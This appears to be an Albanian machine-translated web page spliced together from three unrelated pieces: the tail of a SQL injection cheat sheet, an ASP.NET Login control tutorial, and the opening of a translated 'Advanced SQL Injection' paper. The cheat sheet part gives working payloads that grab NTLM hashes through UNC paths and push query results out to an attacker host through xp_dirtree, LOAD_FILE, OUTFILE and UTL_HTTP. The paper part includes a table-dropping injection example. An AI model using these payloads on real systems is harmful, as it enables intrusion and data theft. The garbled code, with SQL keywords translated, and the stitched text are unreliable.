Nëse kushti është i vërtetë, përgjigja do të jetë 10 sekonda. Përndryshe, përgjigja do të jetë 1 sekondë.

33. Funksione të dobishme MySQL
Sintaksë:
MD5 ()
SHA1 ()
FJALËKALIMI ()
KODI ()
KOMPRESA ()
ROW_COUNT ()
SKEMA ()
VERSION ()

34. Injeksione SQL të rendit të dytë
Në mënyrë tipike, ju futni një pyetje të injektimit SQL në një fushë dhe prisni që ajo të mos filtrohet.
Shembull:
Emri: "+ (ZGJIDHni fjalëkalimin TOP 1 NGA përdoruesit) +"
Email: [email i mbrojtur]
Nëse aplikacioni përdor emrin e fushës së një procedure ose funksioni të ruajtur, atëherë mund ta përdorni atë për injeksion.

35. Përdorimi i SQL Server për të marrë Hashes NTLM
Ky sulm do të ndihmojë për të marrë fjalëkalimin e përdoruesit të Windows të serverit të synuar përmes SQL Server nëse nuk ka akses nga jashtë. Ne mund ta detyrojmë SQL Server të lidhet me Windows duke përdorur një shteg UNC dhe të marrim seancën NTLM me mjete speciale si Cain & Abel.

Sintaksë:
Rruga UNC: "\\ ADRESA JUAJ \ C $ \ x.txt"
36. Shembuj të tjerë të injeksioneve
Serveri SQL:
vulnerableParam = 1; SELECT * FROM OPENROWSET ("SQLOLEDB", ((INJECTION)) + ". Yourhost.com"; "sa"; "pwd", "SELECT 1")

vulnerableParam = 1; DEKLARONI @q varchar (1024); SET @q = "\\" + ((INJEKSION)) + ". Yourhost.com \\ test.txt"; EXEC master..xp_dirtree @q
krijon një kërkesë DNS për (INJECTION) .yourhost.com

(INJEKTION) është kërkesa juaj.
MySQL:
? vulnerableParam = -99 OSE (ZGJIDH LOAD_FILE (koncat ("\\\\", ((INJECTION)), "yourhost.com \\")))
Krijon kërkesë NBNS / DNS për yourhost.com
? vulnerableParam = -99 OSE (ZGJEDHJE ((INJECTION)) NË OUTFILE "\\\\ yourhost.com \\ share \\ output.txt")
Shkruan të dhëna në skedarin tuaj
(INJEKTION) është kërkesa juaj.
Oracle:
? vulnerableParam = (SELECT UTL_HTTP.REQUEST ("http: // host / sniff.php? nuhas =" || ((INJECTION)) || "") FROM DUAL)
Sniffer do të ruajë rezultatet
? vulnerableParam = (SELECT UTL_HTTP.KËRKESË ("http: // host /" || ((INJECTION)) || ".html") FROM DUAL)
Rezultatet do të ruhen regjistrat HTTP
? vulnerableParam = (SELECT UTL_INADDR.get_host_addr (((INJECTION)) || ".yourhost.com") NGA DUAL)

? vulnerableParam = (SELECT SYS.DBMS_LDAP.INIT (((INJECTION)) || '.yourhost.com', 80) NGA DUAL)
Ju duhet të analizoni trafikun e kërkesave DNS në yourhost.com
(INJEKTION) është kërkesa juaj.

Ky material është një përkthim adaptiv i artikullit SQL Injection Cheat Sheet.

Kontrolli i hyrjes

Kontrolli Login e bën të lehtë krijimin e një faqe identifikimi për vërtetimin e formularëve në lidhje me API-në e Anëtarësimit. Ai siguron një ndërfaqe përdoruesi të gatshme për përdorim që kërkon një emër përdoruesi dhe fjalëkalim dhe kërkon një buton për të identifikuar përdoruesin. Në prapaskenë, ai përmbledh funksionalitetin që u përshkrua në një artikull të mëparshëm: vërtetimi i identiteteve të përdoruesve përmes API-së së Anëtarësimit dhe kapsulimi i funksioneve të vërtetimit të formave bazë, si ridrejtimi në faqen e kërkuar fillimisht në një zonë të sigurt aplikacioni pas një hyrje të suksesshme.

Kjo do të thotë që Login përmbledh gjëra të tilla si Membership.ValidateUser () ose FormsAuthentication.RedirectFromLoginPage (), kështu që ju nuk keni nevojë ta shkruani vetë këtë kod. Figura më poshtë tregon kontrollin e hyrjes në veprim:

Sa herë që përdoruesi klikon butonin Identifikohu, kontrolli vërteton automatikisht emrin e përdoruesit dhe fjalëkalimin duke përdorur funksionin Membership.ValidateUser () dhe më pas thërret FormsAuthenication.RedirectFromLoginPage () nëse vërtetimi është i suksesshëm. Të gjitha opsionet për kontrollin Login ndikojnë në hyrjen që ai u jep këtyre metodave. Për shembull, nëse kontrolloni kutinë e zgjedhjes Më mbaj mend herën tjetër, ajo do të kalojë e vërtetë në parametrin createPersistentCookie të metodës RedirectFromLoginPage (). Prandaj, FormsAuthenticationModule krijon një cookie të qëndrueshme.

Prapa Skenave Hyrja është një kontroll i përbërë ASP.NET. Ai është plotësisht i zgjerueshëm - në kuptimin që ju lejon të anashkaloni çdo stil dhe veçori të paraqitjes, si dhe të përgjoni ngjarjet e krijuara për të anashkaluar sjelljen e tij të paracaktuar. Nëse e lini kontrollin të pandryshuar dhe nuk kapni asnjë ngjarje, atëherë ai automatikisht do të përdorë ofruesin e anëtarësimit të konfiguruar për aplikacionin.

Forma më e thjeshtë e një kontrolli Login në një faqe duket si kjo:

Janë dhënë disa veçori për të ndryshuar pamjen e kontrollit Login. Mund të aplikoni cilësime të ndryshme stili siç tregohet më poshtë:

Përveç kësaj, klasat CSS mund të përdoren për të personalizuar pamjen e Login. Çdo veti e stilit e mbështetur nga kontrolli Login përfshin një veçori CssClass. Ashtu si me çdo kontroll tjetër ASP.NET, kjo veti ju lejon të specifikoni emrin e klasës CSS që ishte shtuar më parë në faqen e internetit. Supozoni se keni shtuar fletën e mëposhtme të stilit CSS në projektin tuaj me emrin e skedarit MyStyles.css:

MyLoginTextBoxStyle (kursori: treguesi; ngjyra e sfondit: e verdhë; rreshtimi i tekstit: në qendër; mbushja: 6 px; kufiri: e zezë me pika; font-familja: Verdana; rreshtimi vertikal: në mes;) .Hyrja (ekrani: blloku i brendshëm;) .Titulli (mbushje: 6px;)

Ky skedar stili mund të përfshihet në faqen e identifikimit për të qenë në gjendje të stiloni elementin Login:

Tabela e mëposhtme liston stilet e mbështetura nga kontrolli Login. Çdo stil funksionon në të njëjtën mënyrë. Karakteristikat e shkronjave dhe ngjyrave mund të vendosen drejtpërdrejt, ose mund të përdorni veçorinë CssClass për të specifikuar klasën e dëshiruar CSS:

Stilet e mbështetura nga kontrolli i hyrjes
Stili Përshkrim
Stili i kutisë së kontrollit

Përcakton vetitë e stilit për kutinë e zgjedhjes Më mbaj mend herën tjetër

FailureStyle

Përcakton stilin për tekstin që shfaqet në rast të një hyrje të pasuksesshme

HyperLinkStyle

Kontrolli Login ju lejon të përcaktoni disa lloje hiperlidhjesh, për shembull, në faqen fillestare të regjistrimit. Ky stil përcakton pamjen e lidhjeve të tilla.

InstructionTextStyle

Kontrolli i hyrjes ju lejon të specifikoni tekstin e ndihmës që të shfaqet drejtpërdrejt brenda tij. Ky stil përcakton pamjen e këtij teksti.

LabelStyle

Përcakton stilin për etiketat e emrit të përdoruesit dhe fjalëkalimit

LoginButtonStyle

Përcakton stilin e butonit të hyrjes

TextBoxStyle

Përcakton stilin për fushat e tekstit Emri i përdoruesit dhe Fjalëkalimi

TitulliTextStyle

Përcakton stilin e tekstit të titullit për kontrollin Login

ValidatorTextStyle

Përcakton stilet për kontrollet e përdorura për të vërtetuar emrin e përdoruesit dhe fjalëkalimin

Ndërfaqja e përdoruesit e elementit Login është e personalizueshme përmes më shumë se vetëm këtyre stileve; Vetitë e tjera shtesë synojnë pjesë të veçanta të përmbajtjes së kontrollit, të tilla si butoni "Identifikohu", që ju lejojnë gjithashtu të personalizoni ndërfaqen grafike.

Për shembull, mund të zgjidhni tekstin e shfaqur në butonin e hyrjes, ose madje të shfaqni një hiperlidhje në vend të këtij butoni (siç është vendosur si parazgjedhje). Për më tepër, ju mund të shtoni hiperlidhje të shumta në kontrollin Login, të tilla si një lidhje për një faqe ndihme ose një faqe regjistrimi. Të dyja faqet duhet të jenë të hapura për akses anonim sepse ndihma duhet t'u ofrohet edhe përdoruesve anonimë (mos harroni se nëse dikush sheh kontrollin e hyrjes, ai është një përdorues potencialisht anonim). Për të përfshirë lidhje shtesë në Login, modifikoni përkufizimin e treguar më parë si më poshtë:

...

Ky kod shfaq dy lidhje shtesë - në faqen e ndihmës dhe në faqen fillestare të regjistrimit, dhe gjithashtu shton një tekst të shkurtër udhëzimi nën titullin e elementit Login:

Stilet e përshkruara më parë zbatohen edhe për këto veti. Tabela më poshtë përshkruan vetitë e rëndësishme për personalizimin e kontrollit Login:

Karakteristikat e rëndësishme për personalizimin e kontrollit të hyrjes
Prona Përshkrim
Teksti i mesazhit
TitulliText

Teksti i shfaqur në titullin e kontrollit

Teksti i udhëzimit

Kjo veçori është përdorur tashmë në fragmentin e mëparshëm të kodit. Përmban tekstin e shfaqur poshtë titullit të kontrollit

FailureText

Teksti i shfaqur nga kontrolli Login nëse përpjekja për hyrje dështon

Emri i përdoruesitLabelText

Teksti shfaqet si etiketë përpara fushës së tekstit të emrit të përdoruesit

PasswordLabelText

Teksti shfaqet si etiketë përpara fushës së tekstit të fjalëkalimit të përdoruesit

Emri i përdoruesit

Vlera fillestare që plotëson kutinë e tekstit të emrit të përdoruesit

Mesazhi i emrit të përdoruesit kërkohet gabim

Mesazhi i gabimit shfaqet nëse përdoruesi nuk ka futur një emër

Mesazhi i PasswordRequiredError

Mesazhi i gabimit shfaqet nëse përdoruesi nuk ka futur një fjalëkalim

Butoni i hyrjes
LoginButtonText

Teksti shfaqet në butonin e hyrjes

LoginButtonType
LoginButtonImageUrl

Nëse butoni i hyrjes paraqitet si një imazh grafik, duhet të specifikoni URL-në ku ndodhet ky imazh

Faqja e hyrjes
DestinationPageUrl

Nëse përpjekja për hyrje ishte e suksesshme, kontrolli Login e ridrejton përdoruesin në këtë faqe. Kjo pronë është bosh si parazgjedhje. Empty përdor Kornizën e Vërtetimit të Formave për të ridrejtuar ose në faqen e kërkuar origjinale ose në URL-në e paracaktuar të konfiguruar në web.config për vërtetimin e formularëve

Veprimi i dështimit

Përcakton veprimin që kryen kontrolli pas një përpjekjeje të pasuksesshme për hyrje. Dy opsione të vlefshme janë Refresh dhe RedirectToLoginPage. Vlera e parë rifreskon vetëm faqen aktuale, ndërsa e dyta ridrejton në faqen e konfiguruar të hyrjes. Opsioni i dytë është i dobishëm nëse kontrolli Login përdoret diku tjetër sesa në faqen e hyrjes

VisibleWhenLoggedIn

Nëse vendoset në false, atëherë kontrolli do të fshihet automatikisht nëse përdoruesi është tashmë i identifikuar. Nëse vendoset në true (e parazgjedhur), atëherë elementi Login shfaqet edhe nëse përdoruesi është i identifikuar

Konfigurimi i një etikete më mbaj mend
DisplayRememberMe

Ju lejon të shfaqni ose fshehni kutinë e zgjedhjes Më mbaj mend herën tjetër. Si parazgjedhje kjo veti është caktuar në true

RememberMeSet

Përcakton vlerën e paracaktuar për kutinë e zgjedhjes Më mbaj mend herën tjetër. Si parazgjedhje, kjo veti është vendosur në false, d.m.th. kutia e kontrollit nuk është e zgjedhur

Faqja e regjistrimit
CreateUserUrl

Përcakton një hiperlidhje në një faqe interneti që ju lejon të krijoni (regjistroni) një përdorues. Kështu, zakonisht përdoret për t'i dhënë përdoruesit akses në faqen fillestare të regjistrimit. Kjo zakonisht shfaq kontrollin CreateUserWizard.

CreateUserText
CreateUserIconUrl

URL-ja e imazhit grafik për t'u shfaqur së bashku me tekstin e hiperlidhjes së CreateUserUrl

Faqja e ndihmës
HelpPageUrl

URL për të ridrejtuar përdoruesin në faqen e ndihmës

HelpPageText
HelpPageIconUrl

URL-ja e ikonës së shfaqur së bashku me tekstin e hiperlidhjes HelpPageUrl

Faqja e rikuperimit të fjalëkalimit
PasswordRecoveryUrl

URL për të ridrejtuar përdoruesin në faqen e rikuperimit të fjalëkalimit. Kjo faqe zbatohet kur përdoruesi ka harruar fjalëkalimin e tij. Zakonisht shfaq një kontroll të rikuperimit të fjalëkalimit

PasswordRecoveryText
PasswordRecoveryIconUrl

URL-ja e ikonës së shfaqur së bashku me tekstin e hiperlidhjes PasswordRecoveryUrl

Modelet e hyrjes dhe kontrolli

Siç mund ta shihni, të gjitha këto veti e bëjnë kontrollin Login shumë fleksibël. Por siç e keni vënë re ndoshta, është e pamundur të përcaktohet ndonjë shprehje për të kontrolluar vlefshmërinë e hyrjes. Sigurisht që është e mundur të zbatohet vlefshmëria nga ana e serverit brenda procedurave të ngjarjes të ofruara nga kontrolli Login. Kur ju duhet të shtoni disa elementë në kontrollin e përbërë Login, kjo nuk mund të bëhet përmes veçorive të paraqitura më sipër. Për shembull, çka nëse ju nevojitet një kuti e dytë teksti për vërtetim të fortë me një fjalëkalim të dytë ose një fjalëkalim të personalizuar, siç bëjnë disa sajte qeveritare?

Për fat të mirë, si kontrollet e tjera si GridView, Login mbështet shabllonet. Duke përdorur shabllone, mund të personalizoni përmbajtjen e kontrollit të hyrjes pa asnjë kufizim. Çdo kontroll i ri mund të shtohet në të. Zbaton një shabllon të personalizuar në kontrollin Login duke përdorur një dorezë LayoutTemplate:

Hyni

Emri i përdoruesit:
Fjalëkalimi:


Duke parë kodin e mësipërm, lind një pyetje: nëse duhet të shkruani kaq shumë kode të ndërfaqes së përdoruesit (ose ta dizajnoni atë në dizajnerin vizual) kur vendosni një shabllon, pse të mos shkruani faqen tuaj të hyrjes pa përdorur kontrollin e hyrjes?

Kjo është pyetja e duhur. Megjithatë, siç u shpjegua më herët, pjesa e përparme është vetëm një pjesë e elementit Login. Për shembull, në rast se përdoruesi klikon butonin e hyrjes, kontrolli i hyrjes ka tashmë të gjithë kodin e nevojshëm për të vërtetuar automatikisht përdoruesin kundrejt dyqanit të anëtarësimit dhe për ta ridrejtuar atë në faqen origjinale të kërkuar përmes kornizës së vërtetimit të formularëve. Kështu që ju jeni të shpëtuar patjetër nga nevoja për të shkruar këtë kod.

Me kontrollet e sakta dhe vlerat e sakta identifikuese për këto kontrolle, nuk keni nevojë të shkruani kodin e trajtimit të ngjarjeve. Kodi funksionon në mënyrën e zakonshme, përveç se ju përcaktoni një grup kontrollesh dhe paraqitjen e tyre. Në realitet, kontrolli Login kërkon të paktën dy fusha teksti me identifikuesit Emri i përdoruesit dhe Fjalëkalimi. Nëse këto dy kuti teksti mungojnë (ose kanë vlera të ndryshme identifikuese), atëherë Login do të bëjë një përjashtim. Të gjitha kontrollet e tjera janë opsionale, por nëse jepni një vlerë të përshtatshme identifikuesi (si p.sh. "Identifikohu për një buton identifikimi), atëherë "Identifikohu" do të trajtojë automatikisht ngjarjet e tyre dhe do të sillet sikur të zbatohet faqosja e paracaktuar.

Tabela më poshtë liston vlerat e veçanta të identifikuesve, llojet e elementeve të kërkuara për to dhe flamurin e detyrueshëm:

Kontrolli me identifikuesin Login mund të jetë çdo gjë që mbështet përhapjen e flluskave dhe veçorinë CommandName. Është e rëndësishme të vendosni veçorinë CommandName të këtij elementi në Login, pasi përndryshe, kontrolli Login nuk do ta njohë atë gjatë trajtimit të ngjarjeve. Nëse nuk shtoni një kontroll me veçorinë CommandName të vendosur në Login, do t'ju duhet t'i trajtoni vetë ngjarjet dhe të shkruani kodin e duhur për të vërtetuar emrin e përdoruesit dhe fjalëkalimin dhe të ridrejtoni në faqen e kërkuar origjinale.

Ju gjithashtu mund të shtoni kontrolle me ID të tjera që nuk kanë të bëjnë fare me Login. Kodi i mësipërm përdori elementet RequiredFieldValidator dhe RegularExpressionValidator për të vërtetuar fushat e emrit të përdoruesit dhe fjalëkalimit.

Kur përdorni LayoutTemplate, shumë nga vetitë origjinale të kontrollit nuk janë më të disponueshme. Kur aplikohet një shabllon, vetëm vetitë e mëposhtme mbeten të disponueshme:

    DestinationPageUrl

    VisibleWhenLoggedIn

  • Ofruesi i Anëtarësisë

Të gjitha vetitë e stilit dhe disa veçori të personalizimit të përmbajtjes së tekstit të elementit të paracaktuar nuk janë më të disponueshme në redaktuesin e vetive të Visual Studio sepse ato mund të shtohen manualisht si kontrolle të veçanta ose tekst statik në shabllonin e elementit Login. Nëse i shtoni ato në elementin Login në modalitetin e shabllonit, ato thjesht do të injorohen sepse shablloni anashkalon ndërfaqen e paracaktuar të elementit Login, i cili përfiton nga këto veti.

Programimi i kontrollit të hyrjes

Kontrolli i hyrjes mbështet disa ngjarje dhe veçori që mund t'i përdorni për të personalizuar sjelljen e tij. Ato sigurojnë kontroll të plotë mbi rregullimin e saktë të kontrollit të Identifikimit (së bashku me mjetet e tjera të personalizimit si shabllonet dhe vetitë e stilit). Kontrolli Login mbështet ngjarjet e listuara në tabelën e mëposhtme:

Ngjarjet e kontrollit të hyrjes
Ngjarje Përshkrim
Hyrja

Nisur pak përpara vërtetimit të përdoruesit nga kontrolli

I identifikuar

Futet pasi përdoruesi është vërtetuar nga kontrolli

Gabim identifikimi

Aktivizohet kur një përdorues nuk arrin të identifikohet për ndonjë arsye (për shembull, një fjalëkalim ose emër përdoruesi i pasaktë)

Autentifiko

Aktivizohet për vërtetimin e përdoruesit. Nëse e trajtoni këtë ngjarje, duhet ta vërtetoni vetë përdoruesin dhe kontrolli i hyrjes do të mbështetet tërësisht në kodin tuaj të vërtetimit.

Tre ngjarjet e para mund të trajtohen për të kryer disa veprime përpara vërtetimit të përdoruesit, pas vërtetimit dhe në rast të një gabimi gjatë vërtetimit. Për shembull, ngjarja LoginError mund të përdoret për të ridrejtuar automatikisht përdoruesin në faqen e rikuperimit të fjalëkalimit pas një numri të caktuar përpjekjesh për hyrje, siç tregohet më poshtë:

Mbrojtur void Page_Load (objekt dërgues, EventArgs e) (if (! This.IsPostBack) ViewState ["LoginErrors"] = 0;) i mbrojtur void Login1_LoginError (objekt dërguesi, EventArgs e) (// Nëse gjendja LoginErrors nuk ekziston, krijoni nëse (ViewState ["Gabimet e hyrjes"] == null) ViewState ["Gabimet e hyrjes"] = 0; // Rrit numrin e përpjekjeve të dështuara për hyrje int ErrorCount = (int) ViewState ["Gabimet e hyrjes"] + 1; ViewState ["Gabimet e hyrjes" "] = Numri i gabimeve; // Kontrolloni numrin e përpjekjeve të pasuksesshme nëse ((ErrorCount> 3) && (Login1.PasswordRecoveryUrl! = String.Empty)) Response.Redirect (Login1.PasswordRecoveryUrl);)

Kontrolli Login gjeneron ngjarje në rendin e treguar në figurën më poshtë:

Siç u përmend më herët, nëse përgjoni ngjarjen Authenticate, duhet të shtoni emrin tuaj të përdoruesit dhe kodin e verifikimit të fjalëkalimit. Prona Autentifiko mban një shembull të listës së parametrave AuthenticateEventArgs. Kjo klasë argumenti ngjarjesh mbështet një pronë të quajtur Authenticated. Nëse vendoset në true, kontrolli Login supozon se vërtetimi ishte i suksesshëm dhe ngre ngjarjen LoggedIn. Nëse e vendosni këtë veti në false, shfaqet FailureText dhe ngjarja LoginError ngrihet:

I pavlefshëm i mbrojtur Login1_Authenticate (dërguesi i objektit, AuthenticateEventArgs e) (nëse (Membership.ValidateUser (Login1.UserName, Login1.Fjalëkalimi)) (e.Authenticated = true;) tjetër (e.Authenticated = false;)

Siç mund ta shihni, ka qasje të drejtpërdrejtë në vlerat e futura përmes vetive Emri i përdoruesit dhe Fjalëkalimi, të cilat përmbajnë tekstin e futur në kutitë përkatëse të tekstit. Nëse jeni duke përdorur kontrolle të modeluara dhe dëshironi të merrni një vlerë nga një kontroll tjetër përveç komandave Emri i Përdoruesit dhe Fjalëkalimi, mund të përdorni metodën FindControl () për të marrë këtë kontroll shtesë. Kjo metodë merr ID-në e artikullit të dëshiruar dhe kthen një shembull të System.Web.UI.Control. Objekti që rezulton thjesht hidhet në llojin e kontrollit të dëshiruar dhe lexohet vlera e kërkuar nga metoda e personalizuar e vërtetimit për përdoruesin.

Kjo punë është një përkthim i një pjese të Injeksionit të Avancuar SQL të Chris Anley në aplikacionet e serverit SQL. ()
Në artikujt vijues, nëse ka kohë të lirë, ky përkthim do të plotësohet.

P.S. Përkthimi do të jetë më interesant për qëllime edukative dhe historike.

Titulli origjinal i artikullit: Advanced SQL Injection në SQL Applications.

shënim

Ky artikull detajon metodat e zakonshme të "injektimit SQL" për platformën e mirënjohur Microsoft Internet Information Server / Active Server Pages / SQL Server. Ai diskuton përdorimet e ndryshme të injektimit SQL në aplikacione dhe shpjegon metodat për vërtetimin e të dhënave dhe sigurimin e bazave të të dhënave në të cilat mund të përdoren injeksionet.

Prezantimi

Gjuha e strukturuar e pyetjeve (SQL) është një gjuhë e strukturuar që përdoret për të bashkëvepruar me bazat e të dhënave. Ka shumë "dialekte" të gjuhës SQL, por sot ato bazohen kryesisht në standardin SQL-92, një nga standardet më të hershme ANSI. Blloku kryesor operativ i SQL është një pyetje, e cila është një koleksion shprehjesh që zakonisht kthejnë një grup rezultatesh. Shprehjet SQL mund të modifikojnë strukturën e bazave të të dhënave (duke përdorur shprehjet e gjuhës së përkufizimit të të dhënave (DLL)) dhe të manipulojnë përmbajtjen e tyre (duke përdorur shprehjet e gjuhës së manipulimit të të dhënave (DML). Në këtë punim, ne do të shikojmë transact-SQL të përdorur në Microsoft SQL Server.

Injeksioni SQL është i mundur kur një sulmues mund të fusë kodin e tij SQL në një pyetje për të manipuluar të dhënat që dërgohen në aplikacion.

Një deklaratë tipike SQL duket si kjo:

Zgjidhni id, mbiemrin, mbiemrin nga autorët

Kjo shprehje merr "id", "emër" dhe "mbiemër" nga kolonat e tabelës "autorët" dhe kthen të gjitha rreshtat në tabelë. Zgjedhja mund të kufizohet nga një "autor" i caktuar, për shembull:

Zgjidh id, mbiemrin, mbiemrin nga autorët ku emri = "john" dhe mbiemri = "smith"

Duhet të theksohet se në këtë pyetje, literalet e vargjeve ndahen me një thonjëza të vetme. Supozohet se "emri" dhe "mbiemri" janë të dhëna të përdoruesit. Në këtë rast, sulmuesi do të jetë në gjendje të futë pyetjen e tij SQL duke shtuar vlerat e tij në aplikacion. Për shembull:

Emri: jo "hn Mbiemri: smith

Atëherë shprehja do të marrë formën e mëposhtme:

Zgjidhni id, mbiemrin, mbiemrin nga autorët ku emri = "jo" hn "dhe mbiemri =" smith "

Pasi baza e të dhënave të përpiqet të përpunojë një kërkesë të tillë, do të kthehet gabimi i mëposhtëm:

Serveri: Msg 170, Niveli 15, Gjendja 1, Rreshti 1 Rreshti 1: Sintaksë e pasaktë pranë "hn".

Arsyeja e gabimit do të jetë se kuota e vetme e futur do të prishë strukturën e kufizuesve në pyetje. Kështu, baza e të dhënave do të përpiqet pa sukses të ekzekutojë komandën "hn", e cila do të rezultojë në një gabim. Si rezultat, nëse një sulmues fut informacionin e mëposhtëm në formular:

Emri: jo "; autorët e tabelës së hedhjes-- Mbiemri:

Tabela e "autorëve" do të hiqet, kështu që do të shohim pse më vonë.

Ju mund të mendoni se nëse heqim thonjëzat e vetme nga formulari i hyrjes, si dhe i "zëvendësojmë" ato, kjo mund të zgjidhë problemin tonë. Dhe do të keni të drejtë, megjithatë, ka disa probleme me përdorimin e kësaj metode si zgjidhje për këtë problem. Së pari, jo të gjitha hyrjet e përdoruesit janë "strings". Ku formulari i personalizuar do të përmbajë "id"-in e autorit, i cili zakonisht është një numër. Për shembull, kërkesa jonë mund të duket si kjo:

Zgjidhni id, mbiemrin, mbiemrin nga autorët ku id = 1234

Në këtë rast, sulmuesi mund të shtojë lehtësisht çdo deklaratë SQL pas të dhënave numerike. Në shijet e tjera të pyetjeve SQL, përdoren kufizues të ndryshëm. Për shembull, në Microsoft Jet DBMS, kufizuesi është "#". Së dyti, "shpëtimi" nga thëniet e vetme nuk është mënyra më e lehtë për të mbrojtur veten, siç mund të duket në fillim. Ne do të flasim për këtë më në detaje më vonë.

Këtu është një shembull i bazuar në një faqe identifikimi të Faqeve të Serverit aktiv (ASP) që përdor SQL për të hyrë në një bazë të dhënash për të autorizuar një përdorues në një aplikacion.

Këtu është kodi i faqes që përmban formularin e hyrjes, në të cilin futen emri i përdoruesit dhe fjalëkalimi.

Faqja e hyrjes

Identifikohu

Emri i përdoruesit:
Fjalëkalimi:

Më poshtë është kodi (process_login.asp) që përcakton saktësinë e të dhënave të futura.

E re në faqe

>

Më popullorja